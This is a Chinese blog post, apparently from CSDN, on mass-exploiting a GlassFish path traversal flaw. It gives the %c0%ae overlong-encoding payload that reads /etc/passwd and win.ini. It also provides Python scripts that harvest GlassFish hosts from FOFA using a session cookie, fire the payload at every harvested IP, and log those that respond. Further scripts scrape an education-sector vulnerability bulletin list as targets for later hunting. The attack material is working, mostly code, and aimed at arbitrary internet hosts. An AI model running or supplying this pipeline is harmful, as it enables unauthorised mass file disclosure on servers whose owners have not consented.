Python开发-fofa批量挖掘glassfish-任意读取漏洞 (建议收藏学习!!!)

0x00 glassfish漏洞描述

漏洞分析:
glassfish是一款java编写的跨平台的开源的应用服务器。
与宽字节SQL注入一致,都是由于unicode编码歧义导致的。具体payload如下构造:

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

0x01 fofa批量爬取目标IP

 -*- codeing = utf-8 -*-
@Time : 2021/10/17 16:19
@Author : Hsy
@File : fofa-glassfish.paqu.py
@Software: PyCharm

import requests
import base64
from lxml import etree
import time


search_data='"glassfish" && port="4848"'
headers={
    'cookie':'你的cookie',
}
for yeshu in range(1,6):
    url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
    search_data_bs=str(base64.b64encode(search_data.encode("utf-8")),"utf-8")
    urls=url+search_data_bs
    print(urls)
    try:
        print('正在提取第'+str(yeshu)+'页')
        result=requests.get(urls,headers=headers).content
        soup=etree.HTML(result)
        ip_data=soup.xpath('//span[@class="aSpan"]/a[@target="_blank"]/@href')
        ipdata='\n'.join(ip_data)
        print(ip_data)
        with open(r'ip.txt','a+') as f:
            f.write(ipdata+'\n')
            f.close()
        time.sleep(0.5)
    except Exception as e:
        pass

结果:

0x02 批量验证漏洞

# -*- codeing = utf-8 -*-
# @Time : 2021/10/17 17:14
# @Author : Hsy
# @File : yanzhen-glassfish-poc.py
# @Software: PyCharm
import requests
import base64
from lxml import etree
import time
import sys

payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

for ip in open('ip.txt'):
        ip=ip.replace('\n','')
        windows_url=ip+payload_windows
        linxu_url=ip+payload_linux

        try:
            vuln_code_l=requests.get(linxu_url).status_code
            vuln_code_w=requests.get(windows_url).status_code
            print("check->"+ip)
            if vuln_code_l==200 or vuln_code_w ==200:
                with open(r'vuln.txt','a+') as f:
                    f.write(ip)
                    f.close()
            time.sleep(0.5)
        except Exception as e:
            pass

漏洞验证:


下一步批量提交!!!

0x02 爬取edu漏洞公告:

批量爬取漏洞公告,为后续挖掘src做准备!

爬取代码1:

import requests,time
from lxml import etree

def edu_list(page):
    for page in range(1,page+1):
        try:
            url='https://src.sjtu.edu.cn/list/?page='+str(page)
            data=requests.get(url).content
            #print(data)
            soup = etree.HTML(data.decode('utf-8'))
            result = soup.xpath('//td[@class=""]/a/text()')
            #print(result)
            results = '\n'.join(result)
            resultss=results.split()
            print(resultss)
            for edu in resultss:
                with open(r'src.txt', 'a+',encoding='utf-8') as f:
                    f.write(edu+'\n')
                    f.close()
        except Exception as e:
            time.sleep(0.5)
            pass

if __name__ == '__main__':
    edu_list(10)


爬取代码2:

import requests
from lxml import etree

#yeshu=input("您要爬取多少页数:")
def src_tiqu(yeshu):
    for i in range(1,int(yeshu)):
        url='https://src.sjtu.edu.cn/list/?page='+str(i)
        print('提取->',str(i)+'页数')
        data=requests.get(url).content
        print(data.decode('utf-8'))
        soup = etree.HTML(data)
        result=soup.xpath('//td[@class=""]/a/text()')
        results = '\n'.join(result)
        resultss = results.split()
        for edu in resultss:
            print(edu)
            with open(r'src_edu.txt', 'a+', encoding='utf-8') as f:
                f.write(edu + '\n')
                f.close()

if __name__ == '__main__':
    yeshu = input("您要爬取多少页数:")
    src_tiqu(yeshu)

总结完毕,创作不易,有什么问题希望指点出来,希望师傅可以点赞!

交流学习:
博客:www.kxsy.work
SND社区:告白热

  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

告白热

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值